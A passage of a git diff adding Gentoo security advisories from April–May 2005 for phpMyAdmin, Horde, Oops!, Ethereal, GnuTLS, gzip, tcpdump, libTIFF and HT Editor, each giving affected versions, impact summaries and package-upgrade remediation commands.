+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-30">
+  <title>phpMyAdmin: Insecure SQL script installation</title>
+  <synopsis>
+    phpMyAdmin leaves the SQL install script with insecure permissions,
+    potentially leading to a database compromise.
+  </synopsis>
+  <product type="ebuild">phpmyadmin</product>
+  <announced>April 30, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>88831</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-db/phpmyadmin" auto="yes" arch="*">
+      <unaffected range="ge">2.6.2-r1</unaffected>
+      <vulnerable range="lt">2.6.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpMyAdmin is a tool written in PHP intended to handle the
+    administration of MySQL databases from a web-browser. phpMyAdmin uses a
+    pma MySQL user to control the linked-tables infrastructure. The SQL
+    install script sets the initial password for the pma user.
+    </p>
+  </background>
+  <description>
+    <p>
+    The phpMyAdmin installation process leaves the SQL install script with
+    insecure permissions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability to obtain the initial
+    phpMyAdmin password and from there obtain information about databases
+    accessible by phpMyAdmin.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Change the password for the phpMyAdmin MySQL user (pma):
+    </p>
+    <code>
+    mysql -u root -p
+    SET PASSWORD FOR 'pma'@'localhost' = PASSWORD('MyNewPassword');</code>
+    <p>
+    Update your phpMyAdmin config.inc.php:
+    </p>
+    <code>
+    $cfg['Servers'][$i]['controlpass']   = 'MyNewPassword';</code>
+  </workaround>
+  <resolution>
+    <p>
+    All phpMyAdmin users should change password for the pma user as
+    described above and upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/phpmyadmin-2.6.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1392">CVE-2005-1392</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 29 Apr 2005 08:17:12 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 29 Apr 2005 18:24:53 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-01.xml b/xml/htdocs/security/en/glsa/glsa-200505-01.xml
new file mode 100644
index 00000000..4d69c34c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-01.xml
@@ -0,0 +1,167 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-01">
+  <title>Horde Framework: Multiple XSS vulnerabilities</title>
+  <synopsis>
+    Various modules of the Horde Framework are vulnerable to multiple
+    cross-site scripting (XSS) vulnerabilities.
+  </synopsis>
+  <product type="ebuild">Horde</product>
+  <announced>May 01, 2005</announced>
+  <revised>May 01, 2005: 01</revised>
+  <bug>90365</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/horde-vacation" auto="yes" arch="*">
+      <unaffected range="ge">2.2.2</unaffected>
+      <vulnerable range="lt">2.2.2</vulnerable>
+    </package>
+    <package name="www-apps/horde-turba" auto="yes" arch="*">
+      <unaffected range="ge">1.2.5</unaffected>
+      <vulnerable range="lt">1.2.5</vulnerable>
+    </package>
+    <package name="www-apps/horde-passwd" auto="yes" arch="*">
+      <unaffected range="ge">2.2.2</unaffected>
+      <vulnerable range="lt">2.2.2</vulnerable>
+    </package>
+    <package name="www-apps/horde-nag" auto="yes" arch="*">
+      <unaffected range="ge">1.1.3</unaffected>
+      <vulnerable range="lt">1.1.3</vulnerable>
+    </package>
+    <package name="www-apps/horde-mnemo" auto="yes" arch="*">
+      <unaffected range="ge">1.1.4</unaffected>
+      <vulnerable range="lt">1.1.4</vulnerable>
+    </package>
+    <package name="www-apps/horde-kronolith" auto="yes" arch="*">
+      <unaffected range="ge">1.1.4</unaffected>
+      <vulnerable range="lt">1.1.4</vulnerable>
+    </package>
+    <package name="www-apps/horde-imp" auto="yes" arch="*">
+      <unaffected range="ge">3.2.8</unaffected>
+      <vulnerable range="lt">3.2.8</vulnerable>
+    </package>
+    <package name="www-apps/horde-accounts" auto="yes" arch="*">
+      <unaffected range="ge">2.1.2</unaffected>
+      <vulnerable range="lt">2.1.2</vulnerable>
+    </package>
+    <package name="www-apps/horde-forwards" auto="yes" arch="*">
+      <unaffected range="ge">2.2.2</unaffected>
+      <vulnerable range="lt">2.2.2</vulnerable>
+    </package>
+    <package name="www-apps/horde-chora" auto="yes" arch="*">
+      <unaffected range="ge">1.2.3</unaffected>
+      <vulnerable range="lt">1.2.3</vulnerable>
+    </package>
+    <package name="www-apps/horde" auto="yes" arch="*">
+      <unaffected range="ge">2.2.8</unaffected>
+      <vulnerable range="lt">2.2.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Horde Framework is a PHP based framework for building web
+    applications. It provides many modules including calendar, address
+    book, CVS viewer and Internet Messaging Program.
+    </p>
+  </background>
+  <description>
+    <p>
+    Cross-site scripting vulnerabilities have been discovered in
+    various modules of the Horde Framework.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    These vulnerabilities could be exploited by an attacker to execute
+    arbitrary HTML and script code in context of the victim's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Horde users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-2.2.8&quot;</code>
+    <p>
+    All Horde Vacation users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-vacation-2.2.2&quot;</code>
+    <p>
+    All Horde Turba users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-turba-1.2.5&quot;</code>
+    <p>
+    All Horde Passwd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-passwd-2.2.2&quot;</code>
+    <p>
+    All Horde Nag users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-nag-1.1.3&quot;</code>
+    <p>
+    All Horde Mnemo users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-mnemo-1.1.4&quot;</code>
+    <p>
+    All Horde Kronolith users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-kronolith-1.1.4&quot;</code>
+    <p>
+    All Horde IMP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-imp-3.2.8&quot;</code>
+    <p>
+    All Horde Accounts users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-accounts-2.1.2&quot;</code>
+    <p>
+    All Horde Forwards users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-forwards-2.2.2&quot;</code>
+    <p>
+    All Horde Chora users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-chora-1.2.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://marc.theaimsgroup.com/?l=horde-announce&amp;r=1&amp;b=200504&amp;w=2">Horde Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 29 Apr 2005 18:22:59 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 29 Apr 2005 18:24:07 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 30 Apr 2005 20:44:12 +0000">
+    formula7
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-02.xml b/xml/htdocs/security/en/glsa/glsa-200505-02.xml
new file mode 100644
index 00000000..f052a770
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-02.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-02">
+  <title>Oops!: Remote code execution</title>
+  <synopsis>
+    The Oops! proxy server contains a remotely exploitable format string
+    vulnerability, which could potentially lead to the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">oops</product>
+  <announced>May 05, 2005</announced>
+  <revised>May 05, 2005: 02</revised>
+  <bug>91303</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/oops" auto="yes" arch="*">
+      <unaffected range="ge">1.5.24_pre20050503</unaffected>
+      <vulnerable range="lt">1.5.24_pre20050503</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Oops! is an advanced, multithreaded caching web proxy.
+    </p>
+  </background>
+  <description>
+    <p>
+    A format string flaw has been detected in the my_xlog() function of the
+    Oops! proxy, which is called by the passwd_mysql and passwd_pgsql
+    module's auth() functions.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a specially crafted HTTP request to the
+    Oops! proxy, potentially triggering this vulnerability and leading to
+    the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Oops! users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-proxy/oops-1.5.24_pre20050503&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1121">CAN-2005-1121</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 04 May 2005 15:38:53 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 04 May 2005 15:39:06 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 05 May 2005 13:38:44 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-03.xml b/xml/htdocs/security/en/glsa/glsa-200505-03.xml
new file mode 100644
index 00000000..ab06b409
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-03.xml
@@ -0,0 +1,103 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-03">
+  <title>Ethereal: Numerous vulnerabilities</title>
+  <synopsis>
+    Ethereal is vulnerable to numerous vulnerabilities potentially resulting in
+    the execution of arbitrary code or abnormal termination.
+  </synopsis>
+  <product type="ebuild">Ethereal</product>
+  <announced>May 06, 2005</announced>
+  <revised>May 06, 2005: 01</revised>
+  <bug>90539</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/ethereal" auto="yes" arch="*">
+      <unaffected range="ge">0.10.11</unaffected>
+      <vulnerable range="lt">0.10.11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ethereal is a feature rich network protocol analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    There are numerous vulnerabilities in versions of Ethereal prior
+    to 0.10.11, including:
+    </p>
+    <ul>
+    <li>The ANSI A and DHCP dissectors are
+    vulnerable to format string vulnerabilities.</li>
+    <li>The DISTCC,
+    FCELS, SIP, ISIS, CMIP, CMP, CMS, CRMF, ESS, OCSP, PKIX1Explitit, PKIX
+    Qualified, X.509, Q.931, MEGACO, NCP, ISUP, TCAP and Presentation
+    dissectors are vulnerable to buffer overflows.</li>
+    <li>The KINK, WSP,
+    SMB Mailslot, H.245, MGCP, Q.931, RPC, GSM and SMB NETLOGON dissectors
+    are vulnerable to pointer handling errors.</li>
+    <li>The LMP, KINK,
+    MGCP, RSVP, SRVLOC, EIGRP, MEGACO, DLSw, NCP and L2TP dissectors are
+    vulnerable to looping problems.</li>
+    <li>The Telnet and DHCP dissectors
+    could abort.</li>
+    <li>The TZSP, Bittorrent, SMB, MGCP and ISUP
+    dissectors could cause a segmentation fault.</li>
+    <li>The WSP, 802.3
+    Slow protocols, BER, SMB Mailslot, SMB, NDPS, IAX2, RADIUS, SMB PIPE,
+    MRDISC and TCAP dissectors could throw assertions.</li>
+    <li>The DICOM,
+    NDPS and ICEP dissectors are vulnerable to memory handling errors.</li>
+    <li>The GSM MAP, AIM, Fibre Channel,SRVLOC, NDPS, LDAP and NTLMSSP
+    dissectors could terminate abnormallly.</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker might be able to use these vulnerabilities to crash
+    Ethereal and execute arbitrary code with the permissions of the user
+    running Ethereal, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ethereal users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/ethereal-0.10.11&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.ethereal.com/appnotes/enpa-sa-00019.html">Ethereal enpa-sa-00019</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1456">CAN-2005-1456</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1457">CAN-2005-1457</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1458">CAN-2005-1458</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1459">CAN-2005-1459</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1460">CAN-2005-1460</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1461">CAN-2005-1461</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1462">CAN-2005-1462</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1463">CAN-2005-1463</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1464">CAN-2005-1464</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1465">CAN-2005-1465</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1466">CAN-2005-1466</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1467">CAN-2005-1467</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1468">CAN-2005-1468</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1469">CAN-2005-1469</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1470">CAN-2005-1470</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 05 May 2005 19:56:33 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 06 May 2005 17:24:39 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-04.xml b/xml/htdocs/security/en/glsa/glsa-200505-04.xml
new file mode 100644
index 00000000..ecdf6633
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-04.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-04">
+  <title>GnuTLS: Denial of Service vulnerability</title>
+  <synopsis>
+    The GnuTLS library is vulnerable to Denial of Service attacks.
+  </synopsis>
+  <product type="ebuild">GnuTLS</product>
+  <announced>May 09, 2005</announced>
+  <revised>May 09, 2005: 01</revised>
+  <bug>90726</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-libs/gnutls" auto="yes" arch="*">
+      <unaffected range="ge">1.2.3</unaffected>
+      <unaffected range="rge">1.0.25</unaffected>
+      <vulnerable range="lt">1.2.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GnuTLS is a free TLS 1.0 and SSL 3.0 implementation for the GNU
+    project.
+    </p>
+  </background>
+  <description>
+    <p>
+    A vulnerability has been discovered in the record packet parsing
+    in the GnuTLS library. Additionally, a flaw was also found in the RSA
+    key export functionality.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this vulnerability and cause a
+    Denial of Service to any application that utilizes the GnuTLS library.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GnuTLS users should remove the existing installation and
+    upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --unmerge gnutls
+    # emerge --ask --oneshot --verbose net-libs/gnutls</code>
+    <p>
+    Due to small API changes with the previous version, please do
+    the following to ensure your applications are using the latest GnuTLS
+    that you just emerged.
+    </p>
+    <code>
+    # revdep-rebuild --soname-regexp libgnutls.so.1[0-1]</code>
+    <p>
+    Previously exported RSA keys can be fixed by executing the
+    following command on the key files:
+    </p>
+    <code>
+    # certtool -k infile outfile</code>
+  </resolution>
+  <references>
+    <uri link="http://lists.gnupg.org/pipermail/gnutls-dev/2005-April/000858.html">GnuTLS Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1431">CAN-2005-1431</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 29 Apr 2005 18:20:03 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 30 Apr 2005 14:44:07 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 30 Apr 2005 16:35:11 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-05.xml b/xml/htdocs/security/en/glsa/glsa-200505-05.xml
new file mode 100644
index 00000000..b840f42d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-05.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-05">
+  <title>gzip: Multiple vulnerabilities</title>
+  <synopsis>
+    gzip contains multiple vulnerabilities potentially allowing an attacker to
+    execute arbitrary commands.
+  </synopsis>
+  <product type="ebuild">gzip</product>
+  <announced>May 09, 2005</announced>
+  <revised>May 09, 2005: 01</revised>
+  <bug>89946</bug>
+  <bug>90626</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-arch/gzip" auto="yes" arch="*">
+      <unaffected range="ge">1.3.5-r6</unaffected>
+      <vulnerable range="lt">1.3.5-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    gzip (GNU zip) is a popular compression program. The included
+    zgrep utility allows you to grep gzipped files in place.
+    </p>
+  </background>
+  <description>
+    <p>
+    The gzip and gunzip programs are vulnerable to a race condition
+    when setting file permissions (CAN-2005-0988), as well as improper
+    handling of filename restoration (CAN-2005-1228). The zgrep utility
+    improperly sanitizes arguments, which may come from an untrusted source
+    (CAN-2005-0758).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    These vulnerabilities could allow arbitrary command execution,
+    changing the permissions of arbitrary files, and installation of files
+    to an aribitrary location in the filesystem.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gzip users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/gzip-1.3.5-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0758">CAN-2005-0758</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0988">CAN-2005-0988</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1228">CAN-2005-1228</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 06 May 2005 19:23:26 +0000">
+    r2d2
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 09 May 2005 05:30:13 +0000">
+    r2d2
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-06.xml b/xml/htdocs/security/en/glsa/glsa-200505-06.xml
new file mode 100644
index 00000000..ec3abaa1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-06.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-06">
+  <title>TCPDump: Decoding routines Denial of Service vulnerability</title>
+  <synopsis>
+    A flaw in the decoding of network packets renders TCPDump vulnerable to a
+    remote Denial of Service attack.
+  </synopsis>
+  <product type="ebuild">tcpdump</product>
+  <announced>May 09, 2005</announced>
+  <revised>June 12, 2005: 02</revised>
+  <bug>90541</bug>
+  <bug>95349</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/tcpdump" auto="yes" arch="*">
+      <unaffected range="ge">3.8.3-r3</unaffected>
+      <vulnerable range="lt">3.8.3-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TCPDump is a tool for network monitoring and data acquisition.
+    </p>
+  </background>
+  <description>
+    <p>
+    TCPDump improperly handles and decodes ISIS (CAN-2005-1278), BGP
+    (CAN-2005-1267, CAN-2005-1279), LDP (CAN-2005-1279) and RSVP
+    (CAN-2005-1280) packets. TCPDump might loop endlessly after receiving
+    malformed packets.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious remote attacker can exploit the decoding issues for a
+    Denial of Service attack by sending specially crafted packets, possibly
+    causing TCPDump to loop endlessly.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TCPDump users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/tcpdump-3.8.3-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2005-1267">CAN-2005-1267</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2005-1278">CAN-2005-1278</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2005-1279">CAN-2005-1279</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2005-1280">CAN-2005-1280</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 08 May 2005 15:18:02 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 08 May 2005 15:56:20 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 09 May 2005 19:22:22 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-07.xml b/xml/htdocs/security/en/glsa/glsa-200505-07.xml
new file mode 100644
index 00000000..daf14b5b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-07.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-07">
+  <title>libTIFF: Buffer overflow</title>
+  <synopsis>
+    The libTIFF library is vulnerable to a buffer overflow, potentially
+    resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">tiff</product>
+  <announced>May 10, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>91584</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/tiff" auto="yes" arch="*">
+      <unaffected range="ge">3.7.2</unaffected>
+      <vulnerable range="lt">3.7.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libTIFF provides support for reading and manipulating TIFF (Tag Image
+    File Format) images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team discovered a
+    stack based buffer overflow in the libTIFF library when reading a TIFF
+    image with a malformed BitsPerSample tag.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation would require the victim to open a specially
+    crafted TIFF image, resulting in the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libTIFF users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/tiff-3.7.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://bugzilla.remotesensing.org/show_bug.cgi?id=843">LIBTIFF BUG#863</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1544">CVE-2005-1544</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 09 May 2005 18:55:28 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 10 May 2005 20:03:29 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-08.xml b/xml/htdocs/security/en/glsa/glsa-200505-08.xml
new file mode 100644
index 00000000..0a954661
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-08.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-08">
+  <title>HT Editor: Multiple buffer overflows</title>
+  <synopsis>
+    Two vulnerabilities have been discovered in HT Editor, potentially leading
+    to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">hteditor</product>
+  <announced>May 10, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>91569</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-editors/hteditor" auto="yes" arch="*">
+      <unaffected range="ge">0.8.0-r2</unaffected>
+      <vulnerable range="lt">0.8.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    HT is a hex editor, designed to help analyse and modify executable
+    files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Team discovered an integer
+    overflow in the ELF parser, leading to a heap-based buffer overflow.
+    The vendor has reported that an unrelated buffer overflow has been
+    discovered in the PE parser.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation would require the victim to open a specially
+    crafted file using HT, potentially permitting an attacker to execute
+    arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All hteditor users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-editors/hteditor-0.8.0-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1545">CVE-2005-1545</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1546">CVE-2005-1546</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 05 May 2005 15:16:28 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 05 May 2005 17:28:17 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 10 May 2005 20:04:14 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-09.xml b/xml/htdocs/security/en/glsa/glsa-200505-09.xml
new file mode 100644
